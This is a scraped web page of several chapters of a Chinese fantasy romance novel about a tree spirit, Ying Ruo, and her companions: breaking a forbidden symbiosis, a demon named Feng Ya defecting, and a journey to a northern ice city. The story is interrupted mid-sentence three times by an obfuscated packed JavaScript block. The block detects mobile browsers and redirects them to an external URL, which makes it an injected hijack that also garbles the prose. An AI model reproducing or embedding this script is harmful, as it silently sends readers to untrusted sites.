章英泪盈于睫,起身对几人遥遥一拜,坚定道:“多谢诸位恩德,使我醒来看清这一切,如有机会必定回报。” 她看着姐姐躲避的眼神,继续道:“只是,她永远都是我的姐姐,我唯一的亲人。共生之术,是我自愿。今后的共生,是所有事情共同承担,而非一方的一味付出或是牺牲。 她纵然有再多不是,也全是我亏欠她在先。我只愿能给她一个改过的机会,今后我会守着她,不教她再犯错。” “好。说到底,罪魁祸首是魔族,如果不是魔族的毒,她也不会误入歧途。魔族本就欲通过毒和共生禁术掌控你们,进而扩展魔族势力。”应若也不再劝,便准备解开她与二人的共生。唯有先与她们共生,才能把生命的五行之力传递。现下,章落平安醒来,也是时候逆转心法了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455882|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“同心同力,根生土长,休戚与共,生死相依。”应若话落,另外四人连忙聚起各自的守护之力,希望能保护应若不被反噬所伤。 “嘭!”好像什么东西断了,是应若与她们姐妹之间的灵力牵绊在这一刻,彻底断了。应若的心忽地一窒,仿佛从悬崖坠落,深不见底,有一种失去控制的感觉。 应若看向自己的掌心,她的妖力,因为这禁术的断开,也从她体内被尽数抽取出来,她感受不到灵力,也不能接受灵力了。不过所幸,应该只是暂时的,她能感觉得到。 “怎么样?”大家焦急万分。 “别这么紧张!”应若慢慢起身,整理衣袖,语气倒是颇为轻松。 “这怎么能不紧张呢?上一次起码你自己大概心中有数,这一次什么时候恢复可是全看天意。而且恢复之前,你的身体便与普通人无异了!”花染着急地说着,拉住了应若的衣袖。 “有你们在,怕什么?事到临头,无论如何总要面对和接受的。再说,这已经算是很轻的反噬了,我正好体验一回做寻常人是什么感觉。”应若拍拍花染攥紧的手,这一次,她有记忆,因而并不惧怕未知。她自己是真的不甚在意,做个普通人,也是很好的体验呢。 应时似是明白应若心中所想,目光相接的瞬间,是完全的理解与信任。 此时,过意不去的反倒成了章英,道谢之后,说道:“我的记忆已经完全恢复了,有一些可能是魔族的消息,你们请看。”她说着主动敞开了自己的记忆。 从章英的记忆中,他们看见,她私底下有调查过,给章英送来那本记载着共生禁术的书的人,来自西原城。 “多谢!” “这是我能尽的一丝微薄之力,自当告知你们。我与姐姐会一同守在这田庄,守护灵脉,再不会离开东隅城了。如果需要我们,我们自当尽力。各位珍重,再会。”章英说完,便带着一直未曾言语的章落回了东厢房。 几人在院中坐下,思索起来。花染忽地想起,之前他觉得田庄中的茶水味道熟悉,她在西原城孟仁的宴席之上喝到的茶,和这里的茶味道分毫不差。果然,从没有无缘无故的熟悉。 “没错,就是这个味道。”杜嘉毅和墨悦也附和道。 “西原城孟城主家中的茶就是来自田庄,他们之间有勾结。”杜嘉毅一锤定音地下了结论。 “先前竟没有留意过,孟仁口中来自辰光山的修士,是枫崖?茶是枫崖从这里采买的!”应时方觉这事情终是被茶叶勾连起来了,只是没料到,这两处灵脉之地也竟有如此紧密的关联,环环相扣。 应若下意识的第一个反应也是枫崖,只是她有些疑惑,“怎么魔族都变得躲躲藏藏的了?现下这边魔族听闻我们要到了,连下毒的后续结果都顾不上,就撤了。他们还会再回来吗?” 应时看着深沉夜色,目光掠过应若有些单薄的衣衫,自然而然地轻拭了下应若的手背温度再收回手坐正,似乎有些凉了。应时便道:“明日再说不迟,你现在该像普通人一样,好好休息。” 应若看着他这行云流水的一连串动作,实际不过眨眼之间就已经结束。应若并无不可地点点头,心中暖暖,嘴角微翘,有人管的感觉也不错。 “诶呦!”花染和墨悦在一旁故意起哄。 这边闹完,墨悦显然是又有了新的主意,火烧到了另一边,“嘉毅哥,你不再续一下前缘了?” “若一切顺遂,他日世间安定,我自会去问。”杜嘉毅此时心中只有大义与正道,儿女之情若不能兼顾,便只得容后再说。他方才虽未与章英单独说话,但他看到了她眼中的坚强,一如当年。 物是人非,遗憾往常。思过改之,追回原谅。 27. 各有其位 那年春光初绽,碧波潋滟。熹微的清晨,章英坐在海边闭目修习法术,忽听得落水声,她急忙呼喊附近的人们准备救命之物,自己则是一头扎进了冰冷的海水。 她的妖力并不强,将那不慎落水的小孩救回来堪堪够用。孩子安然无恙,她忍着刺骨的寒意交代好一切。人们散开,她才终于忍不住地发起了抖,接连打了好几个喷嚏。 杜嘉毅刚好看到她柔弱的一面,他用法术助她回暖,将披风送与她,才礼貌地离开。初次相遇,虽只是萍水相逢,未及互问名姓,但彼此之间都留下了深刻的印记。为那侠肝义胆,也为那君子如兰。 再次相见,又隔了几日。在街角,两名修士模样的男子身着道袍,在切磋武艺和法术。因街角这处较为空荡,也不会波及到旁人,二人战得十分胶着,灵力闪烁,残影颇有神出鬼没之感。 而此时的章英,正蹲在拐角另一侧的树上,兴致盎然地欣赏着这叹为观止的打斗。 一女子低头急匆匆赶路,忽地进入了打斗可能波及的范围,章英情急飞身而下,挡在了女子身前。 “小心!” 一道剑光迎面袭来,章英来不及反应,只得闭眼蓄起全部妖力,以求减少伤害。 片刻之后,并无痛感传来,章英略带疑惑地睁眼,竟是杜嘉毅挡住了这一击。在这打斗的二人中,一直背对着她未见面容的,就是杜嘉毅,而那位不慎险些伤及无辜的,也是辰光山的一名弟子,来此游历。 那弟子在深表歉意后,见杜嘉毅与章英相谈甚欢,便朝杜嘉毅挤挤眼,自觉地离开了。 这一次,两人互相道了名姓。正巧空闲,之后的几日,也是结伴同行。章英为他介绍了东隅城的风土人情、美景美食,杜嘉毅也为她讲述了他在辰光山修行的历程。那情窦初开的日子,二人恍若置身于诗画之间,朝暮相惜,却又别离。 如今,几年后重逢,却是阴差阳错,唯愿各自安好,若他日有幸,再共赴前路。 杜嘉毅和章英再次深深对视,一笑之间,光阴诉流年。 夜晚,月光透过窗棂,给梦中的人镀上一层银白的光晕。 这一次,仿佛是两柄剑之间彼此久远而深沉的呼唤,遥相呼应,嗡嗡共鸣着。 天池畔,光斜斜地穿过树的枝桠,洒落在她的身上,扑朔斑驳。她自从化形后,便常常独自靠坐在白色的树干旁,安静地望着深邃无波的天池。深蓝幽静的天池水倒映着天空、日月、飞鸟、雪山……也有她。 “小树,怎么不来学法术?”应龙的声音自耳畔响起,打断了她飘飞的思绪。 “我看过,已经学会了。” “这么厉害。那你在做什么?” “就是待着啊。” “你自己、不孤单吗?” “我自己很好啊,想做什么都随意,累了就休息。”她有些百无聊赖地说着,并未看向来人。她也不在意问的是什么,问的人是谁,只是想答便答了。万物于她如云烟,过眼不过心。 只不过日子久了,好像总能听到这个声音,也就很自然地记住了他的样子。 “你喜欢吃凉瓜吗?你跟我出去走走,我带你吃。”是应龙又来了。 “凉瓜?谁会喜欢吃苦的东西?”她是真的感到了诧异。 “不喜欢吗?”应龙好像也很是意外的样子。 “我应该喜欢吗?”她第一次上前一步,主动拉进了二人之间的距离,想要仔细地看看他的眼睛,试图看穿他心中究竟在想些什么。 应龙下意识向后倾了下身,快速眨动眼睫,显得有些紧张,“那苹果,你总是真的喜欢吧?” 一颗红彤彤的果子被放入掌心,上面还裹着一层薄薄的露水,清甜的味道扑面而来。应若便也没再深究,接过红彤彤的果子,一口下去,清脆甘甜。 不过俗话说吃人嘴短,当应龙再次提出:“和我一起走走,好吗?”这一次,她跟了上去,去到昆仑山中许多小妖聚集在一起修习法术之地。 那天应龙把她拉出自己的小世界,让她看到更多的美好,不再总是孤孤单单的一个人。即便她不再记得做魔的时候,他也不想她因为受过伤,就潜意识里拒绝一切,只做旁观。 “小树姐姐,你好厉害!这么复杂深奥的法术,你只是看一遍就会了。”小桃木妖围着她直转圈圈,开心地蹦蹦跳跳,口中还哼着不知名的曲调。 其他的妖闻言也都围拢过来,认识了这个看起来不太爱说话但很聪明的树妖朋友,也更用心地向她学习起了法术。 “就是她吗?应龙日日守着、寸步不离的树妖小姐姐?”有交头接耳的声音从不远处传来,是纯粹的好奇。 她听着这话,一时间只是觉得哪里怪怪的,却又想不出个所以然,便只听过后任之随风去了。 从那天起,只要是她没有和应龙一同过去,那个小桃木妖总是会过来天池这里找她,拉着她,欢快地跑向妖族修习的聚集地。于是,她便渐渐熟识了其他一些妖族,像是白猿妖、椿树妖、鲲鹏妖、青鸟妖…… 应龙就站在不远处,望着这一切,眼神中盛满了宠溺,低声自语:“多认识一些朋友,多好。” 无忧无虑的时光就这样过了很久,妖族生命漫长,从不在意时间短长。直到后来,另一位神明女娲降世,她开始创造另一种生命,叫做人类。 应龙说,他要去昆仑之外的世界看看了,她犹豫纠结了一夜后,便也跟着一起去了,都没来得及和其他的朋友们道别。她心中,也想要见一见未曾见过的世界,用心去看,一步步丈量。介入因果又如何,随心而为,方不枉此生。 站在部落的边缘,看着里面人来人往,朴素又温馨,她突发奇想,“游历世间,总要有个像样的名字,我觉得自己的本相不死树不是很好听。我既然同你一道,不如你给我取一个吧?” 应龙顿了一下,没料到她竟是不喜欢自己的本相,但他还是点了点头,“好啊,那你想姓什么?” 她有些骄矜地说:“根据我这几日的观察,我看人类的兄妹关系真的很好,我跟你姓应,好不好?” “自然好。”应龙努力抑制了想要上翘的嘴角,将思绪回到取名上面,说出早已在心中深藏许久的话,“单名一个若,万般法度,来去自如,昭愿得失,安然自若。” “那你叫什么名字?”应若偏了偏头,见应时沉吟不语,有些急切的拽了一下他的袖口。 应时温和地笑了笑,“应时。” “寓意呢?”应若还在追问。 应时也只是他刚刚随意想的名字,至于寓意,只好现编了,“四时和光,天地久长。” “久长,很好。”应若在心中默念着应时应若两个名字,嘴角也漾起一抹笑意,温暖如春。 “对了,你不是一直好奇,另一位拥有神力的女娲是什么样子吗?她就在这附近,走吧?” 薄雾之中,二人并肩走远了。 应若和应时都做了这个梦,相同的画面,相同的记忆。 应若自认一化形就有很高的领悟力,她也曾经很得意于自己学什么都很快。其实,是因为她都已经学过一次了,而且那也并非是她第一次化形,虽说当初做魔时学得也很快很好。她的灵魂记得,她认得自己原本的模样。 次日一早。二人在晨光的温暖中醒来,她们笃定地明白,梦境中的一切,皆是真实过往,而今不过是以梦为媒,再次记起。 然而今日,田庄却来了一位不速之客。他,便是枫崖。 墨悦一见这魔族竟还敢主动找上门来,便不由分说作势就要打上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477262|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,被几人抬手阻拦了下来。 “来者是客。请。”应时见枫崖并无出手的迹象,看起来他们有可能心平气和地谈一谈。 “我是来投诚的。”枫崖便也主动说明来意。“我之前的所作所为,皆是被更强的魔族所控,也是身不由己。上一次,我见你们行侠仗义,就已经心生向往,只是怕被其他魔族发现我的行踪,才匆匆离开。这一次,没有魔族的跟随,你们能带我一起吗?” 突如其来的表忠心让五人感到莫名其妙。毕竟一个魔族,主动投诚,让人无法相信。 “不如你们亲眼看看我的记忆,我是否可以相信?”枫崖一副很是理解,也并不在意被怀疑的大度模样。 然而,五人听得此言,却更是疑虑重重了。毕竟前车之鉴还在,记忆也是有可能被篡改的。可还有什么方法,是可以完全相信的呢?暂且没有,也只能一试究竟,再做打算。 应若暂时没有妖力,她与应时对视一眼,交错站位。应若作势捏诀问灵,应时负于身后的手将自己的灵力伪装成应若的墨绿色,再用一个障眼法,便让这灵力看起来是由应若挥洒自如。 于是,枫崖便也主动敞开了识海,任君翻阅。 枫崖的记忆,从他还是一株崖边的枫树开始。应若和应时也是在这一瞬间,联想起了前因后果。轮回经中,他们与魔族的牵绊记忆中,也有这一株枫树的身影。 那时的红枫树,还未完全长成一棵大树,尚且不能承担起守护一方的重任。他有些心急,看着身为魔族的树妖和龙神所向披靡的样子,心生艳羡。 应若与应龙在处理好这一片的魔气离开后,又过了很多年,他一直勤于修炼。只是他天资一般,但他相信勤能补拙,终于长成了大树的模样,能够化形了。 那是五年前的一天,也是一个秋天,他的本相枫树在微凉的秋风之中,迎风摇曳,哗哗作响,歌颂着自己火红的叶片。 那是他化形成为枫树妖的第一天,他已经等了太久,迫不及待的想要去外面的世界看看。却未想,这也是他作为枫树妖的最后一天。那天之后的他,是枫树魔。 离开诞生地没多远,他正用心地记录着这美好的时光,驻足于一株树下。这树叶满枝,树冠如云朵,叶片同他本相红枫树一样,如红霞般绚烂。叶片形状如羽毛一般,在阳光下翩翩欲飞。 他惊叹于这黄连木的美丽与神秘,它如同悬挂于枝头流动的彩霞,在风中曼妙起舞。 枫崖正陶醉着、欣赏着,却忽感有魔气,直向这边涌来。他立即调动起所有的妖力,直面迎击。橙红色的妖力对抗着黑色的魔气,渐渐的显现出了优势,再一举歼灭。可他也因为耗尽妖力,昏睡在了自己的本相枫树下。 谁知,却有一缕魔气悄无声息地从刚才的对抗中留了下来。这一次,它为自己寻到了一个绝佳的机会,趁枫崖虚弱之际,钻入了他的心中,控制了他的神志。 次日,当他再次醒来,便已经不再记得往日种种。他的心告诉他,“我是魔。” 一年后,他在魔族中崭露头角,对力量的渴望愈发强烈,也得到了许多任务,看守西原城的金矿、送往东隅城的毒……而那毒的来源,他听魔族的人私下里说过,好像是来自北渊城,最接近极地的地方。 那株他曾停留的黄连木,其实也早早的生出了灵识,在他与魔族对抗时便心急如焚,更是目睹他入了魔,忘记本心,忘记自己为何向往强大。 黄连木在这个秋天,也化形了。她希望他能恢复清醒,不再被魔气支配。可结果是,她没能拯救他,也一同随他堕入了魔道。 然而,应若却在其中察觉到了些许不同之处,那株黄连木上,好像有青鸾的气息,原来她的这一生,成了一株黄连木。 青鸟已逝,树有新生。 28. 北渊有水 黄连木妖给自己取名连心,她只是个普通魔族,魔气尚浅,所以大部分时间能保持清醒。她给自己取的名字,也是为了时刻警醒自己不忘初心。 一日,一位看不清面容的男子来到此地,他身着青衣素袍,自称是辰光山修士。 “相逢即是缘,我有一物赠予二位。苦海无涯,此刻为时不晚。”他未留下姓名,也未过问身份,只留下一个转经筒模样的器物,便转身飘然离去了。 枫崖与连心甫一拿起这转经筒,他们体内一部分魔气便被吸附了进去,这法器的名字也自然而然地浮现在了他们的识海之中—轮回经。 二人虽有怀疑,却也还是进入轮回经中体悟了一番。这轮回经对他们并无伤害,反倒是让他们的记忆回和思绪清晰了起来,让他们记起了自己原本的样子。 后来,她们本是被魔族指派前去长安,打探魔族另一股复仇势力的情况,哪知目睹了长安宫变,流血牺牲,魔族败退离场。 二人低头回报魔尊,“禀魔尊,复仇者不足为惧,不配为魔,眼下已然四散逃走。” 那魔尊周身魔气随着他的心跳鼓动着,意味不明地哼笑出声:“难堪大用。” “嗔恨不足,难成大器。眼下,他们怕是要去灵脉之地了。”魔尊座下的魔使同样面貌不清。 “正好,随他们去吧。”魔尊一挥衣袖,黑色的魔气扑面而来。作为奖励,三人各自分得一部分魔气,增强了力量,也增强了魔尊对他们的控制。 在连心的陪伴下,日子久了,枫崖好像很偶尔地也能回想起被他遗忘的时光,那些纯然的美好。而曾经纯粹的热烈鲜红,如今蒙上了一层漆黑阴影,不知能否有一只手,将这阴霾拨开,重见光明。 西原城时,枫崖与连心见识到了这五人的道义。在东隅城,他们又跟上来,是为求同路,为赎罪过。 只是二人皆受魔气所扰,不可违逆魔族。他们此行,也是为了摒弃魔气,做自由自在的妖。哪怕只有一日,哪怕只得片刻,足矣。 大致看过了枫崖的记忆,应时和应若都莫名地有些出神。应若是为青鸾,也就是连心。连心既然已经进入过轮回经,就应当已经知晓前尘。而今选择正道,应当可信。毕竟世事如棋,很多时候,都是一念之差。 而应时,则是为那面容模糊一闪而逝的修士。那身姿,好似有几分师父的影子。不知为何,他从未怀疑过自己的师父,即便今日仍然不愿去怀疑,即便师父行踪不明。他始终坚信,师父,永远是他的师父,不会伤害他。 “连心怎么没有与你同来?”应若收回目光。 “连心说,她比我聪明,她要替我拖延遮掩,我们会定期互通消息。我孤身来此也是为表诚意,不欲与你们为敌,只求能与你们同路一段,尽己所能。”枫崖言辞恳切,字字肺腑。 “这样看来,你与连心也算是迷途知返。”墨悦双手抱臂,指尖轻轻敲打着。 “不过,你当真不知晓灵言之术?”花染盯住他的眼,生怕是被他的法术迷惑。 “不知,又或者,我也是为人所控而不自知。”枫崖倒是回答得坚定无比。 “好,那你便同我们一道吧,我们正好要去北渊城。轮回经,还于你。”应时顺势答应了下来。 离开时,五个人变成了六个人。城中百姓纷纷夹道相送,忏悔从前为一己之私,对一个婴孩都不放过,如今皆愿用余生赎罪,让章落重新做人,共守东隅城。 路上,六人又一次经过海边。木系灵脉恢复,那里的红树林已经重新焕发了生机,盎然地坚守在这一方天地。 马车内,应若见花染一副欲言又止,马上就要止不住了的样子,摇头轻笑:“好了,呼吸。难为你忍了这么久。” 花染长长地呼出一口气,把话憋在心里的时候,她不知不觉间也同时并住了呼吸。她缓了缓,终于问出口:“应若姐,你最初怎么会是魔啊?” “简而言之,阴差阳错。” “啊?那我想要听复杂的。” “复杂的,我想想,复杂的就是—呀,我还没完全记起来呢。”应若对花染神秘地眨了眨眼。 “应若姐,你敷衍我!” “没有啊,我很真诚。”很真诚地敷衍你,应若抿了抿微微上翘的嘴角,在心里默默补充着。 墨悦见花染没有八卦到的失落样子,另辟蹊径地挤到应时身边,“时哥,怎么一回事,你知道吧,跟我讲讲呗?” “事情就是……”应时略作停顿,看着墨悦也随着这一顿屏息,云淡风轻地接着说出后文:“哦,无可奉告。” “时哥!你俩怎么能这样,戏弄我们很好玩吗?”墨悦和花染同时瞪大了双眼,不敢置信,两双本就偏圆的眼睛更显无辜好骗了。 应时和应若忍住笑意,颇为认真地点了点头,俨然一副无比认同的模样,还拉了一下杜嘉毅。于是杜嘉毅也配合地点点头:“确实有趣!” 前路未知,也不耽误此刻欢笑。 枫崖假装一心一意地望着窗外的风景,心中很是羡慕这样的氛围。他本就是个不值得信任的魔,好像很难融入进去,也不敢随意插话。 杜嘉毅则是在欢笑过后,思索起了更为深刻的道理,“天地之间原本的灵气与浊气自有定数,上古时候生灵稀少,只要肯勤勉修炼,都能达到一定的境界。 现在就不同了,人和妖这么多,遑论魔族。为了生存,有意无意之间,便破坏了天地五行灵脉,导致灵气运转不稳,渐趋枯竭。也不能把这一切全然怪在魔族身上。” “是啊。”墨悦也道,“为了生活,又为了生活得好,私心暗生,也是自然的。” 花染和墨悦又想起了海边那片红树林,很惋惜那片林中无一棵生出灵识,“这就是个体力量强大与群体力量强大的区别吧。红树林为守护一方水土,宁愿放弃修行。” 应时也接着道:“如果一个拥有强大力量的人,对手寥寥无几,一旦做了错误的选择,作恶多端,那就是灾难。上古时期,战争频繁,魔族力量强大,许多人神妖魔因此陨落,再无后继之人。 而群体之中,哪怕每个人的力量不大,但只要多数人心向光明、心存道义、明辨是非,总能找到方法规劝作恶的小部分人。” “天道运转至今,在灵气不足以支撑时,万物生灵不约而同地放弃向上古时期的至高境界修行,选择繁衍生息。只要一息尚存,便有生机,不至于走入绝境。 在天灾人祸来临时,总会有很多人、很多生灵舍弃自我、选择承担。如果都被蛊惑着走入了歧途,那么这个世界,便会沉沦、走向灭亡。” 应若感慨着,时光去而不返,上古时期终成过往,成为历史长河中的一个名词。 “哇,说的真好!”花染赞叹道。 “姐姐快教教我吧,我也可以学着说教某些人哦,嘿嘿”,花染说着冲墨悦眨了眨眼,长长的睫毛忽闪忽闪的,看直了墨悦的眼。 “说大道理吗?”应若故意清了清喉咙,“人非圣贤,孰能无过?知错能改,善莫大焉。回头是岸,永远不晚。总有一天,你的弥补会被接受,会被原谅。”应若笑着看向枫崖。 “嗯嗯,我懂。”枫崖收回望向远方的目光,郑重承诺。 一路北上,外面的景色飞速倒退着。过了天门关,空气的温度陡然下降,仿佛由初夏时节进入隆冬,呼出的气体蒸腾而上,再迅速凝结。大地覆盖的冰雪刚刚开始融化,地面上,只余零星的脚印和车辙印记,还有潺潺融化的雪水。 北渊城,冰雪之城,水灵脉所在,已在脚下。 “这里,冰川融化了。”应时皱了下眉,立刻察觉了不对。 “凝。”应时抬手捏诀,将墨蓝的灵力引致极北冰川,力求凝水成冰。 “所以,现在的温度是比往常还要高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497387|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些。那还这么冷?”花染撤去灵力感受了一瞬,哆嗦着又蓄起灵力。 天色已暗,一下马车,即使应时已经为应若披好了披风,她还是忍不住打了个喷嚏。于是,六人的首要任务便成了—买衣服。 应若起先还觉得有些小题大做,不过是没有灵力而已,不用这么谨小慎微的。可入城后,才看见为数不多在街上走动的行人,他们都穿着厚实的棉衣,裹得恨不能只露出一双眼睛。 雪白帽兜细绒毛边,天青色厚实的毛披风。应时不由分说便买下了这件毛绒披风,披在了应若身上,再仔细系好,不教一丝一毫的寒风吹进去。 应若被压得肩上一沉,“这毛披风果然货真价实,好暖和,物理防御真有效啊!” 应若看着另外五人对她左看右看的样子,索性戴上了披风的帽子。清风皎月的出尘之姿,在一圈白色毛边的映衬下,平添了几分娇俏。 “白色、毛绒绒,好可爱!”花染按捺不住跺了跺脚,同墨悦兴奋地耳语。 “树妖大人变身毛绒绒,哈哈哈!”墨悦一不小心笑出了声,见得应时目光扫来,谄笑着捂住嘴,挡住一口大白牙。 应若垂眸一瞬,灵机一动:“你们也都买一件吧,不然显得和这里格格不入,不尊重寒冷似的。” “有道理。”杜嘉善解人意地拉着枫崖去挑选了,他二人各自拿了一件白色的毛披风。 墨悦看到,张口就要反驳,这披风穿上以后,肯定显得臃肿,丝毫不威风,却被应时一把拉走了。 花染更是对一件桃红色的毛披风爱不释手。她上下左右欣赏了一番,再穿在身上,左转一圈,右转一圈,像是雪地里盛开的桃花,娇艳夺目。 “好看吗?”花染看向墨悦,“桃之夭夭,好看。”墨悦赞美不停,随手拿了件黑色的披风,再将这件桃红色的一起买下。 应若笑盈盈地看向犹豫不决的应时,“选不出了吗?” 应时目光灼灼地看向应若,不置可否。应若上前挑出一件黑色毛领的墨蓝色的披风,再为他穿戴整齐,星眸微仰,眉眼弯弯:“满意啦?” “你选的就好。”应时眼中,是计谋得逞的欣然,也是应若愿意配合的默契。 “统一着装,是我们对北渊最崇高的敬意。”花染看着六人整整齐齐,像一道亮丽的风景线,只觉这仪式感让人心情激荡。 “极光!”墨悦指着天空中的一处莹莹碧绿。六人都看过去,无不惊叹于大自然的鬼斧神工。那瑰丽绚烂的纹路,自在舒展,变幻莫测。一道道、一缕缕、一片片,飘来又散,弥漫天边,在繁星闪烁间,更显浩瀚无垠。 “你们听过极光的传说吗?”花染想起了自己儿时偷看的话本,“传说中,极光被赋予了幸福,看见极光的人也会得到幸福。” “夏日里极光本就难得一见,我们都会幸福的!”墨悦揽过花染的肩,头碰头地仰望着。 “一定会的。”应若和应时也同声说道。见应时走到自己身后,应若正欲转身,便听得清润的声音在耳边低喃:“天冷,别动。” 应时展开自己的披风,自后面将应若拥入怀中。于是,更多的温暖源源不断地传递过来。应若在紧张了一瞬后也放松下来,头轻轻后仰,靠着他温热有力的肩膀。 睹物思人。杜嘉毅细细摩挲着临别时章英送给他的香囊,那是她一针一线缝制的。而枫崖则是上下抛着手中的轮回经,从前几乎是每一天,都有连心的陪伴,他迟钝地没有分明自己的心意。如今骤然分离,心中也泛起些许波澜。 在这个夜晚,六人同在一片神秘的天空下,并肩而立。这一刻,城中百姓虽已见过很多次极光,甚至习以为常,还是有很多人或跑到街上,或是在院中,或是趴在窗边,眺望着极光之景。 无论是人还是妖、魔,他们心念相同,都在默念:“愿幸福常伴。” 眼中有光,光中烂漫。 29. 病树前头 “泡汤泉,看极光,人间乐事!以手捧珠,心诚愿达!”悦耳的声音传来,几名年轻女子从他们身边经过,一路走远,最终进了一家客栈。 “这么冷的地方还有汤泉?我们也去看看吧!”北渊汤泉的滋味,花染不由得心生向往。 见几人不由分说,说走就走,直奔客栈而去。枫崖慢了几拍,落在后面,小跑跟上,讶异出声:“我们不是要去恢复灵脉吗?这么不着急吗?” “兄弟!劳逸结合,不急不躁,才能办成大事,也要学会享受生活!”墨悦哥俩好似的拍了拍枫崖的肩膀。 “还有啊,给你一个忠告,女孩子的提议,最好不要反对。慢慢悟吧!”墨悦说完,高深莫测地在他眼前晃了晃食指,又跑去一边同花染说话了。 枫崖反应迟钝了一瞬,摸了摸自己的脑袋,低声重复:“劳逸结合,不要反对女孩子的提议……我记住了。” 杜嘉毅见他有些呆愣的表情,轻掩嘴角,走到他身边说:“放轻松些,你慢慢习惯就好了。按照以往的经验,休息的时候,往往能在不经意间找到线索。” “是这样吗?”枫崖皱眉琢磨着,“可能这就是人与人之间的差距吧!我休息的时候,好像都是睡得天昏地暗,人事不知的。” 客栈很别致,分成好几个大小不一的院落,每个院落都如同家宅一般,一应俱全。每间屋子里都有汤泉池,可以随意使用。 “应若姐姐,我和你一起泡汤泉,好不好呀?”花染像是小孩子见到新玩具一样,迫不及待地想要和人一起分享。 “好!”应若看着她亮晶晶的目光,便不由自主答应了下来。再一转头,墨悦一副被抛弃的神情,一扭头,找应时去了。 温热的汤泉,雾气萦绕,的确很神奇。热气蒸腾下,身体好像也变得舒展、轻盈。望向窗外,冰凌如帘,还未消散的极光飘浮着,再品着手中的瓜果,真是人间美事。 夜深了,不知什么鸟儿在窗外叫了几声。 许是汤泉太热,而晚间空气愈发寒凉,应若自睡梦中挣扎着醒来,感觉到身体的不适。昏昏沉沉中,她恹恹地想着,“叫得好难听!我这是发热吗?这算是亲身体会一回人间病痛了吧。人类管这叫什么—乐极生悲。人类文明,博大精深,心服口服了。” “发汗退热?”应若捂住滚烫的额头,再整个人钻回到棉被里,裹紧被子,只露出鼻子以上的半张脸在外面。 事与愿违。没一会儿,应若便忍受不住了,一把掀开被子,失败。她迷蒙着双眼,把自己裹得严严的,摇摇晃晃地走了出去。 应时屋内,之前四人在汤泉之中畅谈了一番,送墨悦他们三人刚离开。应时本想着再去看看应若,略一思索,现下时辰已晚,想她应该已经睡着了吧。 关好房门,走近床榻,正准备掀开床幔。 “咦,榻上有人?!”应时手中灵力蓄势待发,掀开床幔的同时就要向那人影袭去,却见应若一脸茫然地翻身坐了起来,鬓发凌乱。 应时当即收势,看着应若脸上不自然的潮红,唇色苍白,便知她这是发热生病了。哎,怪自己没有想周全,没有妖力的身体禁不起乍然的冷热交替。 屋子后的一扇窗没有关严,丝丝缕缕的寒风渗透进来。呵,她竟是翻窗进来的。 应时急忙以灵力关好门窗,靠近应若轻声问道:“知不知道我是谁?” 应若眼神发直,半睁着眼,将睡未睡的神情。听见问话也没回答,只是眨了眨眼,将头转到另一边,不搭理他了。 应时笑叹:“也罢,还知道来找我。” 应时用被子将应若小心地裹好,再以灵力附在被子上,好让她可以安心温暖的睡下,接着便去求医问药了。 次日一早,应若悠悠醒来,精神还是有些疲惫,但已退热,没有大碍了。她坐起身来,忽然察觉到好像有哪里不对劲,这里好像不是她的房间。这是哪里,她怎么会在这儿? 正欲细想,有人推门而入,是应时。四目相对间,应时关切地问道:“好些了吧,我刚刚看已经退热了。” “嗯。”应若点点头,在应时的走近中,渐渐回想起了昨日,哦,是她自作多情,主动找过来的。于是她环顾四周,左顾右盼了一番。 “找什么?”应时的声音在耳边响起。 “那个,抱枕?”应若有点底气不足的小声说道。 低低的笑声从应时的嗓中传来,“抱枕?”应时忽地坐在她的床边,顺势抬了抬自己的胳膊,又指指胸膛,戏谑的笑着问:“哪个?这个吗?” “什、什么?”应若一时语噎,愣住了,心虚的想:“难道?” 应时想起昨天晚上应若喝药时怕苦的样子,不由好笑,又是糖水,又是蜜饯,连哄带骗地,好不容易把苦口的良药灌了进去,她昏昏沉沉的又要睡下,小心仔细替她整理好,正要离开,却被一下子揽住了脖颈,她迷迷糊糊地,一头撞进了他的怀里。 应时连忙侧身撑在她身边,应若发热的手就这样搭在他的脖颈上,在他的怀里象小猫似的蹭着,嗓音沙哑地低喃着:“好凉快。”温热的呼吸就这样扑了过来,长长的睫毛弄得他痒痒的。 应时一时呼吸有些急促,身体不免有些僵硬,任她揽着,一动不动。待得应若呼吸平缓绵长,仿佛睡着了,他才长舒一口气,平复了一下,轻手轻脚地将应若的手臂放回被中,仔细盖好,悄然起身。 应时想着想着,看向应若的眼神不由得深邃了起来。 “这可如何是好?”应若顿时六神无主,定定地看着应时的神情,心里只打鼓,七七八八猜了个差不多,恨不得有个缝隙钻进去,可惜灵力不在啊。深呼吸,深呼吸,应若安慰着自己。 